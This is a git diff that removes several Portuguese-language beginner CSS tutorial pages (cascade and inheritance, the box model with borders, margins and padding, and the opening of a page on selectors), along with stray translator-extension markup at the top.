- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/pt-pt/learn/css/building_blocks/cascade_and_inheritance/index.html
deleted file mode 100644
index a35e695b08..0000000000
--- a/files/pt-pt/learn/css/building_blocks/cascade_and_inheritance/index.html
+++ /dev/null
@@ -1,136 +0,0 @@
----
-title: Cascata e herança
-slug: Learn/CSS/Building_blocks/Cascade_and_inheritance
-tags:
- - CSS:Como_começar
-translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance
-translation_of_original: Web/Guide/CSS/Getting_started/Cascading_and_inheritance
-original_slug: Web/CSS/Como_começar/Cascata_e_herança
----
-<p>{{ PreviousNext("CSS:Como começar:Como o CSS trabalha", "CSS:Como começar:Seletores") }}</p>
-
-<p>Esta página esboça como folhas de estilo interagem numa cascata, e como os elementos subordinados herdam o estilo do elementos primários.</p>
-
-<p>Você alterará à sua folha de estilo de amostra, usando herança para mudar o estilo de muitas partes do seu documento em um passo.</p>
-
-<h2 id="Informa.C3.A7.C3.A3o:_Cascata_e_heran.C3.A7a" name="Informa.C3.A7.C3.A3o:_Cascata_e_heran.C3.A7a">Informação: Cascata e herança</h2>
-
-<p>O estilo final para um elemento pode ser especificado em muitos lugares diferentes, que pode interagir num meio complexo. Esta interação complexa faz CSS poderoso, mas às vezes isto pode deixar confuso e difícil de depurar.</p>
-
-<p>Três códigos principais de informação de estilo formam uma cascata. Eles são:</p>
-
-<ul>
- <li>O estilo padrão do navegador para a linguagem de marcação</li>
- <li>O estilo especificado por um usuário que está lendo o documento</li>
- <li>O estilo ligado ao documento pelo seu autor</li>
-</ul>
-
-<p>O estilo do usuário modifica o estilo padrão do navegador. O estilo do autor do documento então modifica algum outro estilo. Neste tutorial, você é o autor do seu documeto de amostra, e você trabalha somente com folhas de estilo do autor.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>Quando você lê este documento no seu navegador Mozilla, parte do estilo que você vê, vem do padrão do seu navegador para HTML.
- <p>Parte do estilo deve vir das configurações do seu navegador em Opções, ou de um arquivo <code>userConten.css</code> no seu perfil no navegador.</p>
-
- <p>Parte do seu estilo vem de folhas de estilo ligadas ao documento pelo server do wiki.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p><br>
- Quando você abre seu documento de amostra no seu navegador, os elementos STRONG são mais fortes do que o resto do texto. Isto vem do estilo padrão do seu navegador para o HTML.</p>
-
-<p>Os elementos STRONG são vermelhos, Isto vem da sua folha de estilo de amostra.</p>
-
-<p>Os elementos STRONG as vezes também herdam muito do estilo de elemento P, pois eles são subordinados. No mesmo caminho, o elemento P herda muito do estilo do elemento BODY.</p>
-
-<p>Para estilos em cascata, o autor das folhas de estilo tem prioridade, depois o leitor das folhas de estilo, e por último o padrão do navegador.</p>
-
-<p>Para estilos em herança, um nó subordinado tem prioridade sobre o estilo que herdou do nó principal.</p>
-
-<p>Estas não são as únicas propriedades que se aplicam. Uma página posterior neste turorial explicará mais.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>CSS às vezes providencia um meio para o leitor anular o estilo do autor do documento, usando a palavra-chave <code>!important</code>.
- <p>Este meio é para o autor do documento, você não pode sempre predizer exatamente o que os leitores verão.</p>
-
- <p>Se você quer saber todos os detalhes sobre cascata e herança, veja <a class="external" href="http://www.w3.org/TR/CSS21/cascade.html">Assigning property values, Cascading, and Inheritance</a> na CSS Specification.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="A.C3.A7.C3.A3o:_Usando_heran.C3.A7a" name="A.C3.A7.C3.A3o:_Usando_heran.C3.A7a">Ação: Usando herança</h2>
-
-<p>Edite seu arquivo de amostra CSS.</p>
-
-<p>Adicione esta linha copiando e colando isto. Não importa realmente se você adicionar a linha antes ou depois da que já está lá. Entretando, adicionar isto no topo é mais lógico pois no seu documento o elemento P é primário ao elemento STRONG:</p>
-
-<pre class="brush: css">p {color: blue; text-decoration: underline;}
-</pre>
-
-<p>Agora atualize seu navegador para ver o efeito no seu documento de amostra. O sublinhado afeta todo o texto no parágrafo, incluindo as letras iniciais. Os elementos STRONG herdaram o estilo sublinhado do elemento primário P.</p>
-
-<p>Mas os elementos STRONG ainda são vermelhos. A cor vermelha é própria do estilo, então isto tem prioridade sobre a cor azul do seu elemento primário P.</p>
-
-<table>
- <tbody>
- <tr>
- <td>
- <table style="border: 2px outset #36b; padding: 1em; margin-right: 2em;">
- <caption>Antes</caption>
- <tbody>
- <tr>
- <td><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
- </tr>
- </tbody>
- </table>
- </td>
- <td>
- <table style="border: 2px outset #36b; padding: 1em;">
- <caption>Depois</caption>
- <tbody>
- <tr>
- <td style="color: blue; text-decoration: underline;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets</td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p> </p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4;">
- <caption>Desafio</caption>
- <tbody>
- <tr>
- <td>Mude sua folha de estilo deixando somente as letras vermelhas sublinhadas:
- <table style="border: 2px outset #36b; padding: 1em;">
- <tbody>
- <tr>
- <td style="color: blue;"><strong style="color: red; text-decoration: underline;">C</strong>ascading <strong style="color: red; text-decoration: underline;">S</strong>tyle <strong style="color: red; text-decoration: underline;">S</strong>heets</td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p> </p>
-
-<h2 id="O_que_vem_depois.3F" name="O_que_vem_depois.3F">O que vem depois?</h2>
-
-<p>Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de <a href="/Talk:pt/CSS/Como_come%C3%A7ar/Cascata_e_heran%C3%A7a" title="Talk:pt/CSS/Como_começar/Cascata_e_herança">Discussão</a>.</p>
-
-<p>Sua folha de estilo de amostra especifica o estilo para os tags, <code>P</code> e <code>STRONG</code>, mudando o estilo dos elementos correspondentes em todo o seu documento original. A próxima página descreve como espeficar estilos em meios mais seletivos: <strong><a href="/pt/CSS/Como_come%C3%A7ar/Seletores" title="pt/CSS/Como_começar/Seletores">Seletores</a></strong></p>
-
-<p>{{ PreviousNext("CSS:Como começar:Como o CSS trabalha", "CSS:Como começar:Seletores") }}</p>
diff --git a/files/pt-pt/learn/css/building_blocks/index.html b/files/pt-pt/learn/css/building_blocks/index.html
deleted file mode 100644
index 62d3b77849..0000000000
--- a/files/pt-pt/learn/css/building_blocks/index.html
+++ /dev/null
@@ -1,360 +0,0 @@
----
-title: Caixas
-slug: Learn/CSS/Building_blocks
-tags:
- - CSS:Como_começar
-translation_of: Learn/CSS/Building_blocks
-translation_of_original: Web/Guide/CSS/Getting_started/Boxes
-original_slug: Web/CSS/Como_começar/Caixas
----
-<p>{{ PreviousNext("CSS:Como começar:Listas", "CSS:Como começar:Disposição") }}</p>
-
-<p>Esta página descreve como você pode usar as CSS para controlar o espaço que um elemento ocupa quando é exibido.</p>
-
-<p>Em seu documento de amostra, você muda o espaçamento e adiciona regras decorativas.</p>
-
-<h2 id="Informa.C3.A7.C3.A3o:_Caixas" name="Informa.C3.A7.C3.A3o:_Caixas">Informação: Caixas</h2>
-
-<p>Quando seu navegador exibe um elemento, o elemento ocupa um espaço. Existem quatro partes do espaço que ele ocupa.</p>
-
-<p>No meio, está o espaço que o elemento precisa para exibir seu conteúdo. Em torno disso, está o enchimento. Em torno disso, está a borda. Em torno disso, está a margem.</p>
-
-<table>
- <tbody>
- <tr>
- <td style="width: 22em;">
- <div style="background-color: #eee; padding: 0px 2em 2em 2em; width: 16em;">
- <p style="text-align: center; margin: 0px;">margin</p>
-
- <p style="text-align: center; margin: 0px 0px -.75em 0px;">border</p>
-
- <div style="background-color: #fff; padding: 0px 2em 2em 2em; border: 4px solid #fd9;">
- <p style="text-align: center;">padding</p>
-
- <div style="background-color: #eee;">
- <p style="text-align: center; padding: 0px; margin: 0px; font-size: 200%; font-weight: bold; color: #999;">element</p>
- </div>
- </div>
- </div>
-
- <p><em>A paleta cinza mostra partes da disposição.</em></p>
- </td>
- <td>
- <div style="background-color: #fff; padding: 0px 2em 2em 2em; width: 16em;">
- <p style="text-align: center; margin: 0px;"> </p>
-
- <p style="text-align: center; margin: 0px 0px -.75em 0px;"> </p>
-
- <div style="background-color: #fff; padding: 0px 2em 2em 2em; border: 4px solid #fd9;">
- <p style="text-align: center;"> </p>
-
- <div style="background-color: #fff;">
- <p style="text-align: center; padding: 0px; margin: 0px; font-size: 200%; font-weight: bold; color: #999;">element</p>
- </div>
- </div>
- </div>
-
- <p><em>Isto é o que você vê em seu navegador.</em></p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>O enchimento, a borda e a margem podem ter diferentes tamanhos no topo, na direita, em baixo e na esquerda do elemento. Qualquer ou todos estes tamanhos podem ser zero.</p>
-
-<p>O enchimento é sempre da mesma cor do fundo do elemento. Então quando você configura a cor de fundo, você vê a cor aplicada ao próprio elemento e ao seu enchimento. A margem é sempre transparente.</p>
-
-<table>
- <tbody>
- <tr>
- <td style="width: 22em;">
- <div style="background-color: #eee; padding: 0px 2em 2em 2em; width: 16em;">
- <p style="text-align: center; margin: 0px;">margin</p>
-
- <p style="text-align: center; margin: 0px 0px -.75em 0px;">border</p>
-
- <div style="background-color: #efe; padding: 0px 2em 2em 2em; border: 4px solid #fd9;">
- <p style="text-align: center;">padding</p>
-
- <div style="background-color: #ded;">
- <p style="text-align: center; padding: 0px; margin: 0px; font-size: 200%; font-weight: bold; color: #898;">element</p>
- </div>
- </div>
- </div>
-
- <p><em>O elemento tem um fundo verde.</em></p>
- </td>
- <td>
- <div style="background-color: #fff; padding: 0px 2em 2em 2em; width: 16em;">
- <p style="text-align: center; margin: 0px;"> </p>
-
- <p style="text-align: center; margin: 0px 0px -.75em 0px;"> </p>
-
- <div style="background-color: #efe; padding: 0px 2em 2em 2em; border: 4px solid #fd9;">
- <p style="text-align: center;"> </p>
-
- <div style="background-color: #efe;">
- <p style="text-align: center; padding: 0px; margin: 0px; font-size: 200%; font-weight: bold; color: #898;">element</p>
- </div>
- </div>
- </div>
-
- <p><em>É isto que você vê no seu navegador.</em></p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Bordas" name="Bordas">Bordas</h3>
-
-<p>Você pode usar bordas para decorar elementos com linhas ou caixas.</p>
-
-<p>Para especificar a mesma borda em torno de todo o elemento, use a propriedade <code>border</code>. Especifique a largura (usualmente em pixels para exibir na tela), o estilo, e a cor.</p>
-
-<p>Os estilos são:</p>
-
-<table style="margin-left: 2em;">
- <tbody>
- <tr>
- <td style="width: 6em;">
- <div style="border: 2px solid #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>solid</code></div>
- </td>
- <td style="width: 6em;">
- <div style="border: 2px dotted #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>dotted</code></div>
- </td>
- <td style="width: 6em;">
- <div style="border: 2px dashed #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>dashed</code></div>
- </td>
- <td style="width: 6em;">
- <div style="border: 4px double #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>double</code></div>
- </td>
- </tr>
- <tr>
- <td style="width: 6em;">
- <div style="border: 2px inset #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>inset</code></div>
- </td>
- <td style="width: 6em;">
- <div style="border: 2px outset #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>outset</code></div>
- </td>
- <td style="width: 6em;">
- <div style="border: 4px ridge #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>ridge</code></div>
- </td>
- <td style="width: 6em;">
- <div style="border: 4px groove #4a4; margin: .5em; padding: .5em; width: 5em; text-align: center;"><code>groove</code></div>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>Você pode também configurar o estilo para <code>none</code> ou <code>hidden</code> para remover a borda explicitamente, ou configurar a cor para <code>transparent</code> para fazer a borda invisível sem mudar a disposição.</p>
-
-<p>Para especificar bordas em um lado de cada vez, use as propriedades: <code>border-top</code>, <code>border-right</code>, <code>border-bottom</code>, <code>border-left</code>. Você pode usar isto para especificar uma borda em somente um lado, ou diferentes bordas em diferentes lados.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplos</caption>
- <tbody>
- <tr>
- <td>Esta regra configura a cor de fundo e a borda do topo dos elementos do cabeçalho:
- <div style="width: 40em;">
- <pre class="eval">
-h3 {
- border-top: 4px solid #7c7; /* mid green */
- background-color: #efe; /* pale green */
- color: #050; /* dark green */
- }
-</pre>
- </div>
-
- <p>O resultado deve ser como este:</p>
-
- <table>
- <tbody>
- <tr>
- <td>
- <p style="font-size: 133%; font-weight: bold; background-color: #efe; border-top: 4px solid #7c7; color: #050; padding-right: 6em;">Cabeçalho elegante</p>
- </td>
- </tr>
- </tbody>
- </table>
-
- <p><br>
- Esta regra faz as imagens fáceis de ver dando-as uma borda com um cinza-médio em toda a volta:</p>
-
- <div style="width: 30em;">
- <pre class="eval">
-img {border: 2px solid #ccc;}
-</pre>
- </div>
-
- <p>O resultado deve ser como este:</p>
-
- <table>
- <tbody>
- <tr>
- <td>Imagem:</td>
- <td style="border: 2px solid #ccc;"><img alt="Image:Blue-rule.png" class="internal" src="/@api/deki/files/2528/=Blue-rule.png"></td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Margens_e_enchimento" name="Margens_e_enchimento">Margens e enchimento</h3>
-
-<p>Use margens e enchimento para ajustar a posição dos elementos e para criar espaços ao redor deles.</p>
-
-<p>Use a propriedade <code>margin</code> ou a propriedade <code>padding</code> para configurar a largura da margem ou do enchimento respectivamente.</p>
-
-<p>Se você especificar uma largura, isto se aplicará em torno de todo o elemento (topo, direita, baixo e esquerda).</p>
-
-<p>Se você especificar duas larguras, a primeira se aplicará ao topo e à baixo, e a segunda à direita e à esquerda.</p>
-
-<p>Você pode especificar todas as quatro larguras na ordem: topo, direita, baixo, esquerda.</p>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Exemplo</caption>
- <tbody>
- <tr>
- <td>Esta regra diferencia parágrafos com a classe <code>remark</code> dando-os uma borda vermelha em toda a sua volta.
- <p>O Enchimento em toda a volta separa um pouco a borda do texto.</p>
-
- <p>Uma margem esquerda identifica o parágrafo relativo ao resto do texto:</p>
-
- <div style="width: 30em;">
- <pre class="eval">
-p.remark {
- border: 2px solid red;
- padding: 4px;
- margin-left: 24px;
- }
-</pre>
- </div>
-
- <p>O resultado deve ser como este:</p>
-
- <table>
- <tbody>
- <tr>
- <td>
- <p>Aqui está um parágrafo normal.</p>
-
- <p style="border: 2px solid red; padding: 4px 6em 4px 4px; margin: 0px 0px 0px 24px;">Aqui está um com observação.</p>
- </td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>Quando você usa margens e enchimento para ajustar o modo como os elementos são exibidos, suas regras de estilo interagem com o padrão dos navegadores de maneiras que podem ser complexas.
- <p>Navegadores diferentes exibem os elementos diferentemente. Os resultados podem ser similares antes de sua folha de estilo mudar coisas. Algumas vezes isto pode fazer sua folha de estilo dar resultados surpreendedores.</p>
-
- <p>Para ter o resultado que você precisa, você pode ter que mudar a marcação do seu documento. A próxima página deste tutorial tem mais informações sobre isto.</p>
-
- <p>Para informações detalhas sobre enchimento, margens e bordas, veja <a class="external" href="http://www.w3.org/TR/CSS21/box.html">Box model</a> em CSS Specification.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="A.C3.A7.C3.A3o:_Adicionando_bordas" name="A.C3.A7.C3.A3o:_Adicionando_bordas">Ação: Adicionando bordas</h2>
-
-<p>Edite seu arquivo CSS. Adicione esta regra para desenhar uma linha até o fim da página sobre cada cabeçalho:</p>
-
-<div style="width: 30em;">
-<pre class="eval">h3 {border-top: 1px solid gray;}
-</pre>
-</div>
-
-<p>Se você pegou o desafio na página anterior, modifique a regra que você criou, se não, adicione esta nova regra para adicionar um espaço em baixo de cada item da lista:</p>
-
-<div style="width: 30em;">
-<pre class="eval">li {
- list-style: lower-roman;
- margin-bottom: 8px;
- }
-</pre>
-</div>
-
-<p>Atualize seu navegador para ver o resultado:</p>
-
-<table style="border: 2px outset #36b; padding: 1em; background-color: white;">
- <tbody>
- <tr>
- <td>
- <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) Os oceanos</p>
-
- <ul style="">
- <li style="margin-bottom: 8px;">Ártico</li>
- <li style="margin-bottom: 8px;">Atlântico</li>
- <li style="margin-bottom: 8px;">Pacífico</li>
- <li style="margin-bottom: 8px;">Índico</li>
- <li style="margin-bottom: 8px;">Antártico</li>
- </ul>
-
- <p style="font-weight: bold; font-size: 133%; margin-top: 1em; margin-bottom: .3em; padding: .4em 4em .16em 0; border-top: 1px solid gray;">(B) Parágrafos numerados</p>
-
- <p><strong>1: </strong>Lorem ipsum</p>
-
- <p><strong>2: </strong>Dolor sit</p>
-
- <p><strong>3: </strong>Amet consectetuer</p>
-
- <p><strong>4: </strong>Magna aliquam</p>
-
- <p><strong>5: </strong>Autem veleum</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
- <caption>Desafio</caption>
- <tbody>
- <tr>
- <td>Adicione uma regra à sua folha de estilo, fazendo um borda larga em toda a volta dos oceanos em uma cor que te lembre o mar — algo como isto:
- <table style="border: 2px outset #36b; padding: 1em; background-color: white;">
- <tbody>
- <tr>
- <td>
- <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) Os oceanos</p>
-
- <div style="border: 12px solid #69b; padding-left: 1em;">
- <ul style="">
- <li style="margin-bottom: 8px;">Ártico</li>
- <li style="margin-bottom: 8px;">Atlântico</li>
- <li style="margin-bottom: 8px;">Pacífico</li>
- <li style="margin-bottom: 8px;">Índico</li>
- <li style="margin-bottom: 8px;">Antártico</li>
- </ul>
- </div>
-
- <p style="font-weight: bold; font-size: 133%; margin-top: 1em; margin-bottom: .3em; padding: .4em 4em .16em 0; border-top: 1px solid gray;">(B) Parágrafos numerados</p>
-
- <p><strong>. . .</strong></p>
- </td>
- </tr>
- </tbody>
- </table>
-
- <p>(Não é necessário fazer exatamente com a largura e a cor que usadas aqui.)</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="O_que_vem_depois" name="O_que_vem_depois">O que vem depois</h3>
-
-<p>Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de <a href="/Talk:pt/CSS/Como_come%C3%A7ar/Caixas" title="Talk:pt/CSS/Como_começar/Caixas">Discussão</a>.</p>
-
-<p>Especificando margens e enchimento, você modificou a disposição do seu documento. Na próxima página você poderá mudar a disposição do seu documento de outras maneiras: <strong><a href="/pt/CSS/Como_come%C3%A7ar/Disposi%C3%A7%C3%A3o" title="pt/CSS/Como_começar/Disposição">Disposição</a></strong></p>
-
-<p>{{ PreviousNext("CSS:Como começar:Listas", "CSS:Como começar:Disposição") }}</p>
diff --git a/files/pt-pt/learn/css/building_blocks/selectors/index.html b/files/pt-pt/learn/css/building_blocks/selectors/index.html
deleted file mode 100644
index d10ad5f044..0000000000
--- a/files/pt-pt/learn/css/building_blocks/selectors/index.html
+++ /dev/null
@@ -1,209 +0,0 @@
----
-title: Seletores
-slug: Learn/CSS/Building_blocks/Selectors
-tags:
- - CSS:Como_começar
-translation_of: Learn/CSS/Building_blocks/Selectors
-translation_of_original: Web/Guide/CSS/Getting_started/Selectors
-original_slug: Web/CSS/Como_começar/Seletores
----
-<p>{{ PreviousNext("CSS:Como começar:Cascata e herança", "CSS:Como começar:CSS legível") }}</p>
-
-<p>Esta página explica como você pode aplicar estilos seletivamente, e como diferentes tipos de seletor têm propriedades diferentes.</p>
-
-<p>Você adiciona alguns atributos às tags do seu documento de amostra, e usa estes atributos em sua folha de estilo de amostra.</p>
-
-<h2 id="Informa.C3.A7.C3.A3o:_Seletores" name="Informa.C3.A7.C3.A3o:_Seletores">Informação: Seletores</h2>
-
-<p>CSS tem sua própria terminologia para descrever a linguagem CSS. Anteriormente neste tutorial, você criou uma linha em sua folha de estilo com esta:</p>
-
-<div style="width: 30em;">
-<pre>strong {color: red;}
-</pre>
-</div>
-
-<p>Na terminologia das CSS, esta linha inteira é uma <em>regra</em>. Esta regra começa com <code>STRONG</code>, que é um <em>seletor</em>. Isto seleciona que elementos no DOM a regra se aplicará.</p>
-
-<table style="border: 1px solid #36b; background-color: #f4f4f4; padding: 1em;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>A parte interior das chaves é a <em>declaração</em>.
- <p>A palavra-chave <code>color</code> é uma <em>propriedade</em>, e <code>red</code> é um <em>valor</em>.</p>
-
- <p>O ponto-e-vírgula depois do par propriedade-valor separa isto de outros pares propriedade-valor na mesma descrição.</p>
-
- <p>Este tutorial refere-se a um seletor <code>STRONG</code>, como um seletor de <em>tag</em>. A Especificação das CSS refere-se a isto como um seletor de <em>tipo</em>.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>Esta página do tutorial explica mais sobre os seletores que você pode usar nas regras das CSS.</p>
-
-<p>Em adição aos nomes de tags, você pode usar valores de atributo nos seletores. Isto permite a você que as regras tornem-se mais específicas.</p>
-
-<p>Dois atributos tem estado especial para as CSS. Eles são <code>class</code> e <code>id</code>.</p>
-
-<p>Use o atributo <code>class</code> em uma tag para nomear a tag com um nome de classe. Isto é, o nome que você escolher para a classe.</p>
-
-<p>Na sua folha de estilo, digite um registro completo (período) antes do nome de classe quando você usá-lo em um seletor.</p>
-
-<p>Use o atributo <code>id</code> em uma tag para nomear a tag com um nome de id. Isto é, o nome que você escolher para o id. O nome do id deve ser único no documento.</p>
-
